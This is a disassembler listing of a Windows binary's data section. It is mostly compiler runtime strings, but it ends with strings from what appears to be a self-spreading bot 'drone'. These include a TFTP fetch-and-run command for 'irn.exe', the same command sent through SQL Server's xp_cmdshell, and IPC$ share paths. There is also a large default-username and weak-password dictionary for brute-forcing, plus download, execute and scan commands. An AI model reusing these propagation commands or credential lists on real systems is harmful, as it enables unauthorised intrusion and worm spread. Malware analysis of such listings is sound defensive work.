dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h
dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0
aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:00423F1Co
aMmDdYy db 'MM/dd/yy',0 ; DATA XREF: .data:00423F18o
align 4
aPm db 'PM',0 ; DATA XREF: .data:00423F14o
align 4
aAm db 'AM',0 ; DATA XREF: .data:00423F10o
align 4
aDecember db 'December',0 ; DATA XREF: .data:00423F0Co
align 4
aNovember db 'November',0 ; DATA XREF: .data:00423F08o
align 4
aOctober db 'October',0 ; DATA XREF: .data:00423F04o
aSeptember db 'September',0 ; DATA XREF: .data:00423F00o
align 4
aAugust db 'August',0 ; DATA XREF: .data:00423EFCo
align 10h
aJuly db 'July',0 ; DATA XREF: .data:00423EF8o
align 4
aJune db 'June',0 ; DATA XREF: .data:00423EF4o
align 10h
aApril db 'April',0 ; DATA XREF: .data:00423EECo
align 4
aMarch db 'March',0 ; DATA XREF: .data:00423EE8o
align 10h
aFebruary db 'February',0 ; DATA XREF: .data:00423EE4o
align 4
aJanuary db 'January',0 ; DATA XREF: .data:00423EE0o
aDec db 'Dec',0 ; DATA XREF: .data:00423EDCo
aNov db 'Nov',0 ; DATA XREF: .data:00423ED8o
aOct db 'Oct',0 ; DATA XREF: .data:00423ED4o
aSep db 'Sep',0 ; DATA XREF: .data:00423ED0o
aAug db 'Aug',0 ; DATA XREF: .data:00423ECCo
aJul db 'Jul',0 ; DATA XREF: .data:00423EC8o
aJun db 'Jun',0 ; DATA XREF: .data:00423EC4o
aMay db 'May',0 ; DATA XREF: .data:00423EC0o
; .data:00423EF0o
aApr db 'Apr',0 ; DATA XREF: .data:00423EBCo
aMar db 'Mar',0 ; DATA XREF: .data:00423EB8o
aFeb db 'Feb',0 ; DATA XREF: .data:00423EB4o
aJan db 'Jan',0 ; DATA XREF: .data:00423EB0o
aSaturday db 'Saturday',0 ; DATA XREF: .data:00423EACo
align 10h
aFriday db 'Friday',0 ; DATA XREF: .data:00423EA8o
align 4
aThursday db 'Thursday',0 ; DATA XREF: .data:00423EA4o
align 4
aWednesday db 'Wednesday',0 ; DATA XREF: .data:00423EA0o
align 10h
aTuesday db 'Tuesday',0 ; DATA XREF: .data:00423E9Co
aMonday db 'Monday',0 ; DATA XREF: .data:00423E98o
align 10h
aSunday db 'Sunday',0 ; DATA XREF: .data:00423E94o
align 4
aSat db 'Sat',0 ; DATA XREF: .data:00423E90o
aFri db 'Fri',0 ; DATA XREF: .data:00423E8Co
aThu db 'Thu',0 ; DATA XREF: .data:00423E88o
aWed db 'Wed',0 ; DATA XREF: .data:00423E84o
aTue db 'Tue',0 ; DATA XREF: .data:00423E80o
aMon db 'Mon',0 ; DATA XREF: .data:00423E7Co
aSun db 'Sun',0 ; DATA XREF: .data:off_423E78o
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0
; DATA XREF: ___crtInitCritSecAndSpinCount+53o
align 4
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: ___crtInitCritSecAndSpinCount+44o
align 4
aCompleteObject db ' Complete Object Locator',27h,0 ; DATA XREF: .rdata:0041EB84o
align 4
aClassHierarchy db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: .rdata:0041EB80o
align 4
aBaseClassArray db ' Base Class Array',27h,0 ; DATA XREF: .rdata:0041EB7Co
align 4
aBaseClassDescr db ' Base Class Descriptor at (',0 ; DATA XREF: .rdata:0041EB78o
aTypeDescriptor db ' Type Descriptor',27h,0 ; DATA XREF: .rdata:0041EB74o
align 4
aLocalStaticThr db '`local static thread guard',27h,0 ; DATA XREF: .rdata:0041ECC0o
aManagedVectorC db '`managed vector copy constructor iterator',27h,0
; DATA XREF: .rdata:0041ECBCo
align 4
aVectorVbaseCop db '`vector vbase copy constructor iterator',27h,0
; DATA XREF: .rdata:0041ECB8o
align 10h
aVectorCopyCons db '`vector copy constructor iterator',27h,0 ; DATA XREF: .rdata:0041ECB4o
align 4
aDynamicAtexitD db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: .rdata:0041ECB0o
align 4
aDynamicInitial db '`dynamic initializer for ',27h,0 ; DATA XREF: .rdata:0041ECACo
align 4
aEhVectorVbaseC db '`eh vector vbase copy constructor iterator',27h,0
; DATA XREF: .rdata:0041ECA8o
aEhVectorCopyCo db '`eh vector copy constructor iterator',27h,0
; DATA XREF: .rdata:0041ECA4o
align 4
aManagedVectorD db '`managed vector destructor iterator',27h,0 ; DATA XREF: .rdata:0041ECA0o
align 10h
aManagedVecto_0 db '`managed vector constructor iterator',27h,0
; DATA XREF: .rdata:0041EC9Co
align 4
aPlacementDelet db '`placement delete[] closure',27h,0 ; DATA XREF: .rdata:0041EC98o
align 4
aPlacementDel_0 db '`placement delete closure',27h,0 ; DATA XREF: .rdata:0041EC94o
align 4
aOmniCallsig db '`omni callsig',27h,0 ; DATA XREF: .rdata:0041EC90o
align 4
aDelete db ' delete[]',0 ; DATA XREF: .rdata:0041EC8Co
align 10h
aNew db ' new[]',0 ; DATA XREF: .rdata:0041EC88o
align 4
aLocalVftableCo db '`local vftable constructor closure',27h,0 ; DATA XREF: .rdata:0041EC84o
aLocalVftable db '`local vftable',27h,0 ; DATA XREF: .rdata:0041EC80o
aRtti db '`RTTI',0 ; DATA XREF: .rdata:0041EC7Co
align 4
aEh db '`EH',0 ; DATA XREF: .rdata:0041EC78o
aUdtReturning db '`udt returning',27h,0 ; DATA XREF: .rdata:0041EC74o
aCopyConstructo db '`copy constructor closure',27h,0 ; DATA XREF: .rdata:0041EC70o
align 4
aEhVectorVbas_0 db '`eh vector vbase constructor iterator',27h,0
; DATA XREF: .rdata:0041EC6Co
align 4
aEhVectorDestru db '`eh vector destructor iterator',27h,0 ; DATA XREF: .rdata:0041EC68o
aEhVectorConstr db '`eh vector constructor iterator',27h,0 ; DATA XREF: .rdata:0041EC64o
align 10h
aVirtualDisplac db '`virtual displacement map',27h,0 ; DATA XREF: .rdata:0041EC60o
align 4
aVectorVbaseCon db '`vector vbase constructor iterator',27h,0 ; DATA XREF: .rdata:0041EC5Co
aVectorDestruct db '`vector destructor iterator',27h,0 ; DATA XREF: .rdata:0041EC58o
align 10h
aVectorConstruc db '`vector constructor iterator',27h,0 ; DATA XREF: .rdata:0041EC54o
align 10h
aScalarDeleting db '`scalar deleting destructor',27h,0 ; DATA XREF: .rdata:0041EC50o
align 10h
aDefaultConstru db '`default constructor closure',27h,0 ; DATA XREF: .rdata:0041EC4Co
align 10h
aVectorDeleting db '`vector deleting destructor',27h,0 ; DATA XREF: .rdata:0041EC48o
align 10h
aVbaseDestructo db '`vbase destructor',27h,0 ; DATA XREF: .rdata:0041EC44o
align 4
aString db '`string',27h,0 ; DATA XREF: .rdata:0041EC40o
align 10h
aLocalStaticGua db '`local static guard',27h,0 ; DATA XREF: .rdata:0041EC3Co
align 4
aTypeof db '`typeof',27h,0 ; DATA XREF: .rdata:0041EC38o
align 4
aVcall db '`vcall',27h,0 ; DATA XREF: .rdata:0041EC34o
aVbtable db '`vbtable',27h,0 ; DATA XREF: .rdata:0041EC30o
align 4
aVftable db '`vftable',27h,0 ; DATA XREF: .rdata:0041EC2Co
align 4
asc_41EA24 db '^=',0 ; DATA XREF: .rdata:0041EC28o
align 4
asc_41EA28 db '|=',0 ; DATA XREF: .rdata:0041EC24o
align 4
asc_41EA2C db '&=',0 ; DATA XREF: .rdata:0041EC20o
align 10h
asc_41EA30 db '<<=',0 ; DATA XREF: .rdata:0041EC1Co
asc_41EA34 db '>>=',0 ; DATA XREF: .rdata:0041EC18o
asc_41EA38 db '%=',0 ; DATA XREF: .rdata:0041EC14o
align 4
asc_41EA3C db '/=',0 ; DATA XREF: .rdata:0041EC10o
align 10h
asc_41EA40 db '-=',0 ; DATA XREF: .rdata:0041EC0Co
align 4
asc_41EA44 db '+=',0 ; DATA XREF: .rdata:0041EC08o
align 4
asc_41EA48 db '*=',0 ; DATA XREF: .rdata:0041EC04o
align 4
asc_41EA4C db '||',0 ; DATA XREF: .rdata:0041EC00o
align 10h
asc_41EA50 db '&&',0 ; DATA XREF: .rdata:0041EBFCo
align 4
asc_41EA54: ; DATA XREF: .rdata:0041EBF8o
unicode 0, <|>,0
asc_41EA58: ; DATA XREF: .rdata:0041EBF4o
unicode 0, <^>,0
asc_41EA5C: ; DATA XREF: .rdata:0041EBF0o
unicode 0, <~>,0
asc_41EA60 db '()',0 ; DATA XREF: .rdata:0041EBECo
align 4
asc_41EA64: ; DATA XREF: .rdata:0041EBE8o
unicode 0, <,>,0
asc_41EA68 db '>=',0 ; DATA XREF: .rdata:0041EBE4o
align 4
asc_41EA6C: ; DATA XREF: .rdata:0041EBE0o
dw 3Eh
unicode 0, <>,0
asc_41EA70 db '<=',0 ; DATA XREF: .rdata:0041EBDCo
align 4
asc_41EA74: ; DATA XREF: .rdata:0041EBD8o
dw 3Ch
unicode 0, <>,0
asc_41EA78: ; DATA XREF: .rdata:0041EBD4o
unicode 0, <%>,0
asc_41EA7C: ; DATA XREF: .rdata:0041EBD0o
unicode 0, </>,0
asc_41EA80 db '->*',0 ; DATA XREF: .rdata:0041EBCCo
asc_41EA84: ; DATA XREF: .rdata:0041EBC8o
unicode 0, <&>,0
asc_41EA88: ; DATA XREF: .rdata:0041EBC4o
unicode 0, <+>,0
asc_41EA8C: ; DATA XREF: .rdata:0041EBC0o
unicode 0, <->,0
asc_41EA90 db '--',0 ; DATA XREF: .rdata:0041EBBCo
align 4
asc_41EA94 db '++',0 ; DATA XREF: .rdata:0041EBB8o
align 4
asc_41EA98: ; DATA XREF: .rdata:0041EBB4o
unicode 0, <*>,0
asc_41EA9C db '->',0 ; DATA XREF: .rdata:0041EBB0o
align 10h
aOperator db 'operator',0 ; DATA XREF: .rdata:0041EBACo
align 4
asc_41EAAC db '[]',0 ; DATA XREF: .rdata:0041EBA8o
align 10h
asc_41EAB0 db '!=',0 ; DATA XREF: .rdata:0041EBA4o
align 4
asc_41EAB4 db '==',0 ; DATA XREF: .rdata:0041EBA0o
align 4
asc_41EAB8: ; DATA XREF: .rdata:0041EB9Co
unicode 0, <!>,0
asc_41EABC db '<<',0 ; DATA XREF: .rdata:0041EB98o
align 10h
asc_41EAC0 db '>>',0 ; DATA XREF: .rdata:0041EB94o
align 4
aDelete_0 db ' delete',0 ; DATA XREF: .rdata:0041EB8Co
aNew_0 db ' new',0 ; DATA XREF: .rdata:0041EB88o
align 4
a__unaligned db '__unaligned',0 ; DATA XREF: .rdata:0041EB6Co
a__restrict db '__restrict',0 ; DATA XREF: .rdata:0041EB68o
align 4
; a__ptr64
a__ptr64 db '__ptr64',0 ; DATA XREF: .rdata:0041EB64o
a__clrcall db '__clrcall',0 ; DATA XREF: .rdata:0041EB60o
align 10h
a__fastcall db '__fastcall',0 ; DATA XREF: .rdata:0041EB5Co
align 4
a__thiscall db '__thiscall',0 ; DATA XREF: .rdata:0041EB58o
align 4
a__stdcall db '__stdcall',0 ; DATA XREF: .rdata:0041EB54o
align 4
a__pascal db '__pascal',0 ; DATA XREF: .rdata:0041EB50o
align 10h
a__cdecl db '__cdecl',0 ; DATA XREF: .rdata:0041EB4Co
a__based db '__based(',0 ; DATA XREF: .rdata:0041EB48o
align 8
dd offset a__based ; "__based("
dd offset a__cdecl ; "__cdecl"
dd offset a__pascal ; "__pascal"
dd offset a__stdcall ; "__stdcall"
dd offset a__thiscall ; "__thiscall"
dd offset a__fastcall ; "__fastcall"
dd offset a__clrcall ; "__clrcall"
dd offset a__ptr64 ; "__ptr64"
dd offset a__restrict ; "__restrict"
dd offset a__unaligned ; "__unaligned"
dd offset word_41D482
dd offset aTypeDescriptor ; " Type Descriptor'"
dd offset aBaseClassDescr ; " Base Class Descriptor at ("
dd offset aBaseClassArray ; " Base Class Array'"
dd offset aClassHierarchy ; " Class Hierarchy Descriptor'"
dd offset aCompleteObject ; " Complete Object Locator'"
dd offset aNew_0 ; " new"
dd offset aDelete_0 ; " delete"
dd offset byte_41D480
dd offset asc_41EAC0 ; ">>"
dd offset asc_41EABC ; "<<"
dd offset asc_41EAB8 ; "!"
dd offset asc_41EAB4 ; "=="
dd offset asc_41EAB0 ; "!="
dd offset asc_41EAAC ; "[]"
dd offset aOperator ; "operator"
dd offset asc_41EA9C ; "->"
dd offset asc_41EA98 ; "*"
dd offset asc_41EA94 ; "++"
dd offset asc_41EA90 ; "--"
dd offset asc_41EA8C ; "-"
dd offset asc_41EA88 ; "+"
dd offset asc_41EA84 ; "&"
dd offset asc_41EA80 ; "->*"
dd offset asc_41EA7C ; "/"
dd offset asc_41EA78 ; "%"
dd offset asc_41EA74 ; "<"
dd offset asc_41EA70 ; "<="
dd offset asc_41EA6C ; ">"
dd offset asc_41EA68 ; ">="
dd offset asc_41EA64 ; ","
dd offset asc_41EA60 ; "()"
dd offset asc_41EA5C ; "~"
dd offset asc_41EA58 ; "^"
dd offset asc_41EA54 ; "|"
dd offset asc_41EA50 ; "&&"
dd offset asc_41EA4C ; "||"
dd offset asc_41EA48 ; "*="
dd offset asc_41EA44 ; "+="
dd offset asc_41EA40 ; "-="
dd offset asc_41EA3C ; "/="
dd offset asc_41EA38 ; "%="
dd offset asc_41EA34 ; ">>="
dd offset asc_41EA30 ; "<<="
dd offset asc_41EA2C ; "&="
dd offset asc_41EA28 ; "|="
dd offset asc_41EA24 ; "^="
dd offset aVftable ; "`vftable'"
dd offset aVbtable ; "`vbtable'"
dd offset aVcall ; "`vcall'"
dd offset aTypeof ; "`typeof'"
dd offset aLocalStaticGua ; "`local static guard'"
dd offset aString ; "`string'"
dd offset aVbaseDestructo ; "`vbase destructor'"
dd offset aVectorDeleting ; "`vector deleting destructor'"
dd offset aDefaultConstru ; "`default constructor closure'"
dd offset aScalarDeleting ; "`scalar deleting destructor'"
dd offset aVectorConstruc ; "`vector constructor iterator'"
dd offset aVectorDestruct ; "`vector destructor iterator'"
dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'"
dd offset aVirtualDisplac ; "`virtual displacement map'"
dd offset aEhVectorConstr ; "`eh vector constructor iterator'"
dd offset aEhVectorDestru ; "`eh vector destructor iterator'"
dd offset aEhVectorVbas_0 ; "`eh vector vbase constructor iterator'"
dd offset aCopyConstructo ; "`copy constructor closure'"
dd offset aUdtReturning ; "`udt returning'"
dd offset aEh ; "`EH"
dd offset aRtti ; "`RTTI"
dd offset aLocalVftable ; "`local vftable'"
dd offset aLocalVftableCo ; "`local vftable constructor closure'"
dd offset aNew ; " new[]"
dd offset aDelete ; " delete[]"
dd offset aOmniCallsig ; "`omni callsig'"
dd offset aPlacementDel_0 ; "`placement delete closure'"
dd offset aPlacementDelet ; "`placement delete[] closure'"
dd offset aManagedVecto_0 ; "`managed vector constructor iterator'"
dd offset aManagedVectorD ; "`managed vector destructor iterator'"
dd offset aEhVectorCopyCo ; "`eh vector copy constructor iterator'"
dd offset aEhVectorVbaseC ; "`eh vector vbase copy constructor itera"...
dd offset aDynamicInitial ; "`dynamic initializer for '"
dd offset aDynamicAtexitD ; "`dynamic atexit destructor for '"
dd offset aVectorCopyCons ; "`vector copy constructor iterator'"
dd offset aVectorVbaseCop ; "`vector vbase copy constructor iterator"...
dd offset aManagedVectorC ; "`managed vector copy constructor iterat"...
dd offset aLocalStaticThr ; "`local static thread guard'"
dd offset word_41D482
dd 86808006h, 808180h, 86031000h, 80828680h, 45050514h
dd 85854545h, 585h, 50803030h, 8008880h, 38272800h, 805750h
dd 30370007h, 88505030h, 20000000h, 80888028h, 80h
aHHhhXppwpp db '`h`hhh',8,8,7,'xppwpp',8,8,0
dw 800h
dd 7000800h, 8
aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_40F524+C1o
aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_40F524+A9o
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_40F524+6Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_40F524+58o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_40F524+46o
aUser32_dll db 'USER32.DLL',0 ; DATA XREF: sub_40F524+28o
align 4
off_41ED94 dd offset __fpmath ; DATA XREF: __cinitr __cinit+9o ...
dd offset nullsub_1
dd offset nullsub_1
a_nextafter db '_nextafter',0
align 4
a_logb db '_logb',0
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 10h
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 10h
aLdexp db 'ldexp',0
align 4
aFabs db 'fabs',0
align 10h
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
dbl_41EE18 dq 0.0 ; DATA XREF: __handle_exc+143r
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 10h
; char aE000[]
aE000 db 'e+000',0 ; DATA XREF: __cftoe2_l:loc_410B2Co
align 4
dbl_41EE68 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr
dbl_41EE70 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo
align 10h
aConout db 'CONOUT$',0 ; DATA XREF: ___initconout+Eo
; char a1Qnan[]
a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_412BE0o
align 10h
; char a1Inf[]
a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+103o
align 4
a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+F4o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+DCo
align 4
aBadAllocatio_0 db 'bad allocation',0
align 4
; char aScan_start[]
aScan_start db 'scan.start',0 ; DATA XREF: sub_41C370+D5o
align 4
; char aScan_stop[]
aScan_stop db 'scan.stop',0 ; DATA XREF: sub_41C370+F1o
byte_41EEEE db 0 ; DATA XREF: .text:0041AA7Ao
byte_41EEEF db 0 ; DATA XREF: .text:0041AA86o
; char aScan_stats[]
aScan_stats db 'scan.stats',0 ; DATA XREF: sub_41C370+10Do
align 4
; char aD_D_D_D[]
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_413A2D+4Ao
; char aS_0[]
aS_0 db '%s',0 ; DATA XREF: sub_413A2D+18Co
align 4
; char aS_1[]
aS_1 db '%s',0 ; DATA XREF: sub_413A2D+29Co
byte_41EF0F db 0 ; DATA XREF: sub_41B925+1DDo
; char aS_2[]
aS_2 db '%s',0 ; DATA XREF: sub_413A2D+386o
align 4
; char aS_3[]
aS_3 db '%s',0 ; DATA XREF: sub_413A2D+495o
byte_41EF17 db 0 ; DATA XREF: .text:loc_41C061o
aBadAllocatio_1 db 'bad allocation',0
align 4
aTftpISGetIrn_e db 'tftp -i %s GET irn.exe&start irn.exe&exit',0Dh,0Ah,0
aBadAllocatio_2 db 'bad allocation',0
align 4
dword_41EF64 dd 5C0D0A00h ; DATA XREF: sub_41A5C1+1Fr
dword_41EF68 dd 2E2F5Fh ; DATA XREF: sub_41A5C1+27r
dword_41EF6C dd 0 ; DATA XREF: sub_41A5C1+2Co
dword_41EF70 dd 0 ; DATA XREF: sub_41A5C1+51o
; char aHttpSDS_0[]
aHttpSDS_0 db 'http://%s:%d/%s',0 ; DATA XREF: sub_41A5C1+F1o
; char aHttpSDS_1[]
aHttpSDS_1 db 'http://%s:%d/%s',0 ; DATA XREF: sub_41A5C1+162o
aBadAllocatio_3 db 'bad allocation',0
align 4
aWindowsNt42000 db 'Windows NT4, 2000 (SP0-SP4)',0
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0
align 4
aIpc:
unicode 0, <\IPC$>,0
unicode 0, <\\>,0
align 4
dd 2 dup(0)
aIpc_0:
unicode 0, <\IPC$>,0
unicode 0, <\\>,0
align 4
a_: ; DATA XREF: .text:0041AA35o
unicode 0, <.>,0
aSIpc db '\\%s\ipc$',0 ; DATA XREF: .text:0041AA54o
align 4
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: .text:0041AAA8o
align 4
dword_41F02C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: .text:0041AB6Fo
dword_41F040 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 3 dup(0)
; DATA XREF: .text:0041AB8Ao
dd 2EBh, 0
aHttpSDS_2 db 'http://%s:%d/%s',0 ; DATA XREF: .text:0041ADB1o
aHttpSDS_3 db 'http://%s:%d/%s',0 ; DATA XREF: .text:0041AE2Fo
aSExploitedS_ db '%s: Exploited: %s.',0 ; DATA XREF: .text:0041B164o
align 4
aBadAllocatio_4 db 'bad allocation',0
align 4
aSa db 'sa',0 ; DATA XREF: .text:0041B1F5o
align 4
aRoot db 'root',0 ; DATA XREF: .text:0041B1FCo
align 4
aAdmin db 'admin',0 ; DATA XREF: .text:0041B203o
align 4
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
; DATA XREF: .text:0041B2ACo
align 10h
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'tftp -i %s GET irn.exe&start irn.exe'
; DATA XREF: .text:0041B337o
db '&exit',0Dh,0Ah
db 27h,0
align 4
aSExploitedS__0 db '%s: Exploited %s.',0 ; DATA XREF: .text:0041B391o
align 4
aAdministrator db 'administrator',0
align 4
aAdministrador db 'administrador',0
align 4
aAdministrateur db 'administrateur',0
align 4
aAdministrat db 'administrat',0
aAdmins db 'admins',0
align 10h
aAdmin_0 db 'admin',0
align 4
aAdm db 'adm',0
aPassword1 db 'password1',0
align 4
aPassword db 'password',0
align 4
aPasswd db 'passwd',0
align 4
aPass1234 db 'pass1234',0
align 4
aPass db 'pass',0
align 10h
aPwd db 'pwd',0
a007 db '007',0
a1:
unicode 0, <1>,0
a12 db '12',0
align 10h
a123 db '123',0
a1234 db '1234',0
align 4
a12345 db '12345',0
align 4
a123456 db '123456',0
align 4
a1234567 db '1234567',0
a12345678 db '12345678',0
align 10h
a123456789 db '123456789',0
align 4
a1234567890 db '1234567890',0
align 4
a2000 db '2000',0
align 10h
a2001 db '2001',0
align 4
a2002 db '2002',0
align 10h
a2003 db '2003',0
align 4
a2004 db '2004',0
align 10h
aTest db 'test',0
align 4
aGuest db 'guest',0
align 10h
aNone db 'none',0
align 4
aDemo db 'demo',0
align 10h
aUnix db 'unix',0
align 4
aLinux db 'linux',0
align 10h
aChangeme db 'changeme',0
align 4
aDefault db 'default',0
aSystem_0 db 'system',0
align 4
aServer db 'server',0
align 4
aRoot_0 db 'root',0
align 4
aNull_1 db 'null',0
align 4
aQwerty db 'qwerty',0
align 4
aMail db 'mail',0
align 4
aOutlook db 'outlook',0
aWeb db 'web',0
aWww db 'www',0
aInternet db 'internet',0
align 10h
aAccounts db 'accounts',0
align 4
aAccounting db 'accounting',0
align 4
aHome db 'home',0
align 10h
aHomeuser db 'homeuser',0
align 4
aUser db 'user',0
align 4
aOem db 'oem',0
aOemuser db 'oemuser',0
aOeminstall db 'oeminstall',0
align 4
aWindows db 'windows',0
aWin98 db 'win98',0
align 4
aWin2k db 'win2k',0
align 4
aWinxp db 'winxp',0
align 4
aWinnt db 'winnt',0
align 4
aWin2000 db 'win2000',0
aQaz db 'qaz',0
aAsd db 'asd',0
aZxc db 'zxc',0
aQwe db 'qwe',0
aBob db 'bob',0
aJen db 'jen',0
aJoe db 'joe',0
aFred db 'fred',0
align 10h
aBill db 'bill',0
align 4
aMike db 'mike',0
align 10h
aJohn db 'john',0
align 4
aPeter db 'peter',0
align 10h
aLuke db 'luke',0
align 4
aSam db 'sam',0
aSue db 'sue',0
aSusan db 'susan',0
align 4
aPeter_0 db 'peter',0
align 10h
aBrian db 'brian',0
align 4
aLee db 'lee',0
aNeil db 'neil',0
align 4
aIan db 'ian',0
aChris db 'chris',0
align 10h
aEric db 'eric',0
align 4
aGeorge db 'george',0
align 10h
aKate db 'kate',0
align 4
aBob_0 db 'bob',0
aKatie db 'katie',0
align 4
aMary db 'mary',0
align 4
aLogin db 'login',0
align 4
aLoginpass db 'loginpass',0
align 10h
aTechnical db 'technical',0
align 4
aBackup db 'backup',0
align 4
aExchange db 'exchange',0
align 10h
aFuck db 'fuck',0
align 4
aBitch db 'bitch',0
align 10h
aSlut db 'slut',0
align 4
aSex db 'sex',0
aGod db 'god',0
aHell db 'hell',0
align 4
aHello db 'hello',0
align 10h
aDomain db 'domain',0
align 4
aDomainpass db 'domainpass',0
align 4
aDomainpassword db 'domainpassword',0
align 4
aDatabase db 'database',0
align 10h
aAccess db 'access',0
align 4
aDbpass db 'dbpass',0
align 10h
aDbpassword db 'dbpassword',0
align 4
aDatabasepass db 'databasepass',0
align 4
aData db 'data',0
align 4
aDatabasepasswo db 'databasepassword',0
align 4
aDb1 db 'db1',0
aDb2 db 'db2',0
aDb1234 db 'db1234',0
align 4
aSa_0 db 'sa',0
align 4
aSql db 'sql',0
aSqlpassoainsta db 'sqlpassoainstall',0
align 4
aOrainstall db 'orainstall',0
align 10h
aOracle db 'oracle',0
align 4
aIbm db 'ibm',0
aCisco db 'cisco',0
align 4
aDell db 'dell',0
align 4
aCompaq db 'compaq',0
align 4
aSiemens db 'siemens',0
aHp db 'hp',0
align 10h
aNokia db 'nokia',0
align 4
aXp_0 db 'xp',0
align 4
aControl db 'control',0
aOffice db 'office',0
align 4
aBlank db 'blank',0
align 4
aWinpass db 'winpass',0
aMain db 'main',0
align 4
aLan db 'lan',0
aInternet_0 db 'internet',0
align 4
aIntranet db 'intranet',0
align 10h
aStudent db 'student',0
aTeacher db 'teacher',0
aStaff db 'staff',0
align 4
aBadAllocatio_5 db 'bad allocation',0
align 4
aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
; DATA XREF: sub_41A391+21o
align 4
aMhz db '~MHz',0 ; DATA XREF: sub_41A391+4Ao
align 10h
aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_41A391+6Do
; char aS_15[]
aS_15 db '%s',0 ; DATA XREF: sub_41A391+ADo
align 4
; char aSC_1[]
aSC_1 db '%s%c',0 ; DATA XREF: sub_41A391+112o
align 10h
; char aUnknown[]
aUnknown db 'Unknown',0 ; DATA XREF: sub_41A391+165o
; char aHardwareDesc_0[]
aHardwareDesc_0 db 'HARDWARE\DESCRIPTION\System\CentralProcessor\%i',0
; DATA XREF: sub_41A391+1B7o
; char aSysinfo[]
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_41C370+8Fo
; char aNetinfo[]
aNetinfo db 'netinfo',0 ; DATA XREF: sub_41C370+ABo
aBadAllocatio_6 db 'bad allocation',0
align 4
; char aHttp[]
aHttp db 'http',0 ; DATA XREF: sub_41C370+73o
align 10h
aBadAllocatio_7 db 'bad allocation',0
align 10h
aDl db 'DL',0
align 4
; char aDownload[]
aDownload db 'download',0 ; DATA XREF: sub_41C370+3Bo
align 10h
; char aUpdate[]
aUpdate db 'update',0 ; DATA XREF: sub_41C370+57o
align 4
aMozilla5_0 db 'Mozilla/5.0',0 ; DATA XREF: sub_41B925+33o
; char aDlDownloadingS[]
aDlDownloadingS db 'DL: Downloading %s to %s',0 ; DATA XREF: sub_41B925+51o
align 10h
aDlFailedBadLoc db 'DL: Failed; Bad Location.',0 ; DATA XREF: sub_41B925:loc_41BAEFo
align 4
; char aDlDownloadSIBy[]
aDlDownloadSIBy db 'DL: Download %s (%i Bytes) finished in %i seconds (%iKB/s)',0
; DATA XREF: sub_41B925+156o
align 4
; char aMainUninstalli[]
aMainUninstalli db 'Main: Uninstalling Drone',0 ; DATA XREF: sub_41B925+1A7o
align 4
aDlFailedToUpda db 'DL: Failed To Update',0 ; DATA XREF: sub_41B925:loc_41BAF6o
align 4
aDlErrorExecuti db 'DL: Error Executing File.',0 ; DATA XREF: sub_41B925+1EDo
align 4
; char aDlExecutedFile[]
aDlExecutedFile db 'DL: Executed File: %s',0 ; DATA XREF: sub_41B925+1FCo
align 10h
aDlFailedBadUrl db 'DL: Failed; Bad URL',0 ; DATA XREF: sub_41B925:loc_41BB3Do
; char aDlFailedWinine[]
aDlFailedWinine db 'DL: Failed; WinINET Error',0 ; DATA XREF: sub_41B925:loc_41BB44o
align 10h
aBadAllocatio_8 db 'bad allocation',0
align 10h
aBadAllocatio_9 db 'bad allocation',0
align 10h
aTftpServer db 'TFTP Server',0 ; DATA XREF: sub_41B775+5Ao
; char aRb[]
aRb db 'rb',0 ; DATA XREF: sub_41B3D0+44o
align 10h
; char aTftpSendComple[]
aTftpSendComple db 'TFTP: Send Complete To %s. %d Total Sends',0
